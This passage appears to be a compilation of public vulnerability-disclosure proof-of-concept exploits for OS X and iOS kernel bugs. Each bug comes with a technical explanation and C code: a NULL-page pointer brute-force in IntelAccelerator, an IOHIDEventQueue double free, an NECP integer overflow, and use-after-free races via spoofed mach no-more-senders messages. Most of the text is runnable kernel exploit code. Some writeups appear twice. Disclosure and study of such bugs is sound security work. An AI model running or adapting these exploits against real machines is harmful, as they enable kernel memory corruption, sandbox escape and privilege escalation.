untoward will happen if we guess incorrectly, and in practise we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

io_connect_t get_accel_connection() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

io_connect_t get_some_client() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("AppleRTC");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

kern_return_t guess_first(uint64_t guess, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = guess;

  return IOConnectAddClient(a, b);
}

// need to make something like 65k guesses in the worst cast to find the IntelAccelerator object
// (it's page aligned and we search a 512MB region)
uint64_t find_intel_accelerator_addr(io_connect_t a, io_connect_t b) {
  uint64_t guess = 0xffffff8010000000;
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_first(guess, a, b) == 0xe00002bc) {
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x1000;
  }
  printf("no luck\n");
  return 0;
}

kern_return_t guess_second(uint64_t guess, uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = accel_addr;

  fake_obj[0xe0/8] = guess;

  return IOConnectAddClient(a, b);
}

uint64_t find_second_addr(uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t guess = accel_addr - 0x1000000; // reasonable place to start guessing
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_second(guess, accel_addr, a, b) != 0xe00002bc) {
      // not reached: we will call retain on the object at NULL now
      // and will kernel panic reading the function pointer from the vtable at 414141...
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x10;
  }
  printf("no luck\n");
  return 0;
}

int main(){
  kern_return_t err;

  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  io_connect_t accel_connect = get_accel_connection();

  // create an unrelated client 
  io_connect_t a_client = get_some_client();

  uint64_t first_addr = find_intel_accelerator_addr(accel_connect, a_client);
  uint64_t second_addr = find_second_addr(first_addr, accel_connect, a_client);
  return 0;
}
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=542

The IOHIDLibUserClient allows us to create and manage IOHIDEventQueues corresponding to available HID devices.

Here is the ::start method, which can be reached via the IOHIDLibUserClient::_startQueue external method:

************ SNIP **************

void IOHIDEventQueue::start() 
{
    if ( _lock )
        IOLockLock(_lock);

    if ( _state & kHIDQueueStarted )
        goto START_END;

    if ( _currentEntrySize != _maxEntrySize )   <--- (a)
    {
        mach_port_t port = notifyMsg ? ((mach_msg_header_t *)notifyMsg)->msgh_remote_port : MACH_PORT_NULL;
        
        // Free the existing queue data
        if (dataQueue) {                   <-- (b)
            IOFreeAligned(dataQueue, round_page_32(getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE));
        }
        
        if (_descriptor) {
            _descriptor->release();
            _descriptor = 0;
        }
        
        // init the queue again.  This will allocate the appropriate data.
        if ( !initWithEntries(_numEntries, _maxEntrySize) ) {      (c) <----
            goto START_END;
        }
        
        _currentEntrySize = _maxEntrySize;
        
        // RY: since we are initing the queue, we should reset the port as well
        if ( port ) 
            setNotificationPort(port);
    }
    else if ( dataQueue )
    {
        dataQueue->head = 0;
        dataQueue->tail = 0;
    }

    _state |= kHIDQueueStarted;

START_END:
    if ( _lock )
        IOLockUnlock(_lock);

}

************ SNIP **************


If _currentEntrySize is not equal to _maxEntrySize then the start method will attempt to reallocate a better-sized queue;
if dataQueue (a member of IODataQueue) is non-zero its free'd then initWithEntries is called with the new _maxEntrySize.

Note that the error path on failure here jumps straight to the end of the function, so it's up to initWithEntries to
clear dataQueue if it fails:


************ SNIP **************

Boolean IOHIDEventQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
    UInt32 size = numEntries*entrySize;
    
    if ( size < MIN_HID_QUEUE_CAPACITY )
        size = MIN_HID_QUEUE_CAPACITY;
        
    return super::initWithCapacity(size);
}

************ SNIP **************


There's a possible overflow here; but there will be *many* possible overflows coming up and we need to overflow at the right one...

This calls through to IOSharedDataQueue::initWithCapacity


************ SNIP **************

Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
{
    IODataQueueAppendix *   appendix;
    vm_size_t               allocSize;

    if (!super::init()) {
        return false;
    }


    _reserved = (ExpansionData *)IOMalloc(sizeof(struct ExpansionData));
    if (!_reserved) {
        return false;
    }

    if (size > UINT32_MAX - DATA_QUEUE_MEMORY_HEADER_SIZE - DATA_QUEUE_MEMORY_APPENDIX_SIZE) {
        return false;
    }
    
    allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE);

    if (allocSize < size) {
        return false;
    }

    dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);

************ SNIP **************


We need this function to fail on any of the first four conditions; if we reach the IOMallocAligned call
then dataQueue will either be set to a valid allocation (which is uninteresting) or set to NULL (also uninteresting.)

We probably can't fail the ::init() call nor the small IOMalloc. There are then two integer overflow checks;
the first will only fail if size (a UInt32 is greater than 0xfffffff4), and the second will be impossible to trigger on 64-bit since
round_pages will be checking for 64-bit overflow, and we want a cross-platform exploit!

Therefore, we have to reach the call to initWithCapacity with a size >= 0xfffffff4 (ie 12 possible values?)

Where do _maxEntrySize and _currentEntrySize come from?

When the queue is created they are both set to 0x20, and we can partially control _maxEntrySize by adding an new HIDElement to the queue.

_numEntries is a completely controlled dword.

So in order to reach the exploitable conditions we need to:

1) create a queue, specifying a value for _numEntries. This will allocate a queue (via initWithCapacity) of _numEntries*0x20; this allocation must succeed.

2) add an element to that queue with a *larger* size, such that _maxEntrySize is increased to NEW_MAX_SIZE.

3) stop the queue.

4) start the queue; at which point we will call IOHIDEventQueue::start. since _maxEntrySize is now larger this
will free dataQueue then call initWithEntries(_num_entries, NEW_MAX_SIZE). This has to fail in exactly the manner
described above such that dataQueue is a dangling pointer.

5) start the queue again, since _maxEntrySize is still != _currentEntrySize, this will call free dataQueue again!


The really tricky part here is coming up with the values for _numEntries and NEW_MAX_SIZE; the constraints are:

_numEntries is a dword
(_numEntries*0x20)%2^32 must be an allocatable size (ideally <0x10000000)
(_numEntries*NEW_MAX_SIZE)%2^32 must be >= 0xfffffff4

presumable NEW_MAX_SIZE is also reasonably limited by the HID descriptor parsing code, but I didn't look.

This really doesn't give you much leaway, but it is quite satisfiable :)

In this case I've chosen to create a "fake" hid device so that I can completely control NEW_MAX_SIZE, thus the PoC requires
root (as did the TAIG jailbreak which also messed with report descriptors.) However, this isn't actually a requirement to hit the bug; you'd just need to look through every single HID report descriptor on your system to find one with a suitable report size.

In this case, _numEntries of 0x3851eb85 leads to an initial queue size of (0x3851eb85*0x20)%2^32 = 0xa3d70a0
which is easily allocatable, and NEW_MAX_SIZE = 0x64 leads to: (0x3851eb85*0x64)%2^32 = 0xfffffff4


To run the PoC:

1) unzip and build the fake_hid code and run 'test -k' as root; this will create an IOHIDUserDevice whose
cookie=2 IOHIDElementPrivate report size is 0x64.

2) build and run this file as a regular user.

3) see double free crash.

There's actually nothing limiting this to a double free, you could go on indefinitely free'ing the same pointer.

As I said before, this bug doesn't actually require root but it's just *much* easier to repro with it!

Testing on: MacBookAir5,2 10.10.5 14F27
Guessing that this affects iOS too but haven't tested.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39379.zip
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=543

NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html

By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.

necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)

by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:

  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);

    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }

The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )

This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:

one of length 1; one of length 1024 and one of length 2^64-1051;

later conditions_array_size is used as the size of a memory allocation:

  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);

There is then a memory copying loop operating on the undersized array:

  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)

Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/

// ianbeer

/*
iOS and OS X kernel code execution due to integer overflow in NECP system control socket packet parsing

NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html

By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.

necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)

by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:

  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);

    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }

The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )

This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:

one of length 1; one of length 1024 and one of length 2^64-1051;

later conditions_array_size is used as the size of a memory allocation:

  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);

There is then a memory copying loop operating on the undersized array:

  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)

Tested on MacBookAir 5,2 w/ OS X 10.10.5 (14F27)
*/

#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CONTROL_NAME "com.apple.net.necp_control"

int ctl_open(void) {
  int           sock;
  int           error     = 0;
  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;

  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s", strerror(errno));
    goto done;
  }

  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, CONTROL_NAME, sizeof(kernctl_info.ctl_name));

  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", CONTROL_NAME, strerror(errno));
    goto done;
  }

  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;

  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s", strerror(errno));
    goto done;
  }

done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }

  return sock;
}

struct necp_packet_header {
    uint8_t   packet_type;
    uint8_t   flags;
    uint32_t  message_id;
};

uint8_t* add_real_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, len);
  return buf+9+len;
}

uint8_t* add_fake_tlv(uint8_t* buf, uint8_t type, size_t len, uint8_t* val, size_t real_len){
  *buf = type;
  *(( size_t*)(buf+1)) = len;
  memcpy(buf+9, val, real_len);
  return buf+9+real_len;
}

int main(){
  int fd = ctl_open();
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);

  size_t msg_size;
  uint8_t* msg = malloc(0x1000);
  memset(msg, 0, 0x1000);

  uint8_t* payload = malloc(0x1000);
  memset(payload, 'A', 0x1000);

  struct necp_packet_header* hdr = (struct necp_packet_header*) msg;
  hdr->packet_type = 1; // POLICY_ADD
  hdr->flags = 0;
  hdr->message_id = 0;

  uint8_t* buf = (uint8_t*)(hdr+1);

  uint32_t order = 0x41414141;
  buf = add_real_tlv(buf, 2, 4, &order); // NECP_TLV_POLICY_ORDER

  uint8_t policy = 1; // NECP_POLICY_RESULT_PASS
  buf = add_real_tlv(buf, 4, 1, &policy); // NECP_TLV_POLICY_RESULT
  
  buf = add_real_tlv(buf, 3, 1, payload); // NECP_TLV_POLICY_CONDITION
  buf = add_real_tlv(buf, 3, 1024, payload); // NECP_TLV_POLICY_CONDITION
  
  buf = add_fake_tlv(buf, 3, 0xffffffffffffffff-1050, payload, 0x10);

  msg_size = buf - msg;

  send(fd, msg, msg_size, 0);

  close(fd);
  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=553

The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.

ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.

ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:


boolean_t
ipc_kobject_notify(
                   mach_msg_header_t *request_header,
                   mach_msg_header_t *reply_header)
{
    ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
    
    ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
    switch (request_header->msgh_id) {
        case MACH_NOTIFY_NO_SENDERS:
            if (ip_kotype(port) == IKOT_VOUCHER) {
                ipc_voucher_notify(request_header);         <-- called unconditionally irregardless of the value of ip_srights
                return TRUE;
            }

At this point there are also no locks held.

void
ipc_voucher_notify(mach_msg_header_t *msg)
{
  mach_no_senders_notification_t *notification = (void *)msg;
  ipc_port_t port = notification->not_header.msgh_remote_port;
  ipc_voucher_t iv;

  assert(ip_active(port));
  assert(IKOT_VOUCHER == ip_kotype(port));
  iv = (ipc_voucher_t)port->ip_kobject;

  ipc_voucher_release(iv);
}


ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:

void
ipc_voucher_release(ipc_voucher_t voucher)
{
  if (IPC_VOUCHER_NULL != voucher)
    iv_release(voucher);
}


static inline void
iv_release(ipc_voucher_t iv)
{
  iv_refs_t refs;

  assert(0 < iv->iv_refs);
  refs = hw_atomic_sub(&iv->iv_refs, 1);
  if (0 == refs)
    iv_dealloc(iv, TRUE);
}

iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.

We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.

With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)

You should enable kernel zone poisoning with the "-zp" boot arg to repro this.

You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element 

This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.

Tested on OS X ElCapitan 10.11 (15A284)

Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.

Note that you might have to leave the repro running for a little while to win the race.
*/

// ianbeer

/*
OS X and iOS unsandboxable kernel use-after-free in mach vouchers

The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.

ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.

ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:


boolean_t
ipc_kobject_notify(
                   mach_msg_header_t *request_header,
                   mach_msg_header_t *reply_header)
{
    ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
    
    ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
    switch (request_header->msgh_id) {
        case MACH_NOTIFY_NO_SENDERS:
            if (ip_kotype(port) == IKOT_VOUCHER) {
                ipc_voucher_notify(request_header);         <-- called unconditionally irregardless of the value of ip_srights
                return TRUE;
            }

At this point there are also no locks held.

void
ipc_voucher_notify(mach_msg_header_t *msg)
{
  mach_no_senders_notification_t *notification = (void *)msg;
  ipc_port_t port = notification->not_header.msgh_remote_port;
  ipc_voucher_t iv;

  assert(ip_active(port));
  assert(IKOT_VOUCHER == ip_kotype(port));
  iv = (ipc_voucher_t)port->ip_kobject;

  ipc_voucher_release(iv);
}


ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:

void
ipc_voucher_release(ipc_voucher_t voucher)
{
  if (IPC_VOUCHER_NULL != voucher)
    iv_release(voucher);
}


static inline void
iv_release(ipc_voucher_t iv)
{
  iv_refs_t refs;

  assert(0 < iv->iv_refs);
  refs = hw_atomic_sub(&iv->iv_refs, 1);
  if (0 == refs)
    iv_dealloc(iv, TRUE);
}

iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.

We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.

With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)

You should enable kernel zone poisoning with the "-zp" boot arg to repro this.

You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element 

This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.

Tested on OS X ElCapitan 10.11 (15A284)

Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.

Note that you might have to leave the repro running for a little while to win the race.
*/


#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

int start = 0;

void go(void* arg){
  mach_port_t v = 0xb03; // <-- works for me; ymmv
  
  mach_msg_header_t msg = {0};
  msg.msgh_size = sizeof(mach_msg_header_t);
  msg.msgh_local_port = v;
  msg.msgh_remote_port = v;
  msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.msgh_id = 0106;

  while(start == 0){;}

  usleep(1);

  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}
int main() {
  //char port_num[20] = {0};
  //gets(port_num);
  //mach_port_t v = (mach_port_t)atoi(port_num);
  //printf("%x\n", v);

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  mach_port_t v = 0xb03;
  
  mach_msg_header_t msg = {0};
  msg.msgh_size = sizeof(mach_msg_header_t);
  msg.msgh_local_port = v;
  msg.msgh_remote_port = v;
  msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.msgh_id = 0106;

  usleep(100000);

  start = 1;

  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=562

Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.

Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/

// ianbeer
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0

/*
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference

Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int main() {
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }


  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), 12, &conn);  // <-- userclient type 12
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  printf("boom?\n");

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=565

Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_4; done

Likely to crash in various ways; have observed NULL derefs and NX traps.

Tested on ElCapitan 10.11 (15a284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_ig_4 iospoof_ig_4.c -framework IOKit
/*
Kernel UaF with IOAccelDisplayPipeUserClient2 with spoofed no more senders notifications

repro: while true; do ./iospoof_ig_4; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 4;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
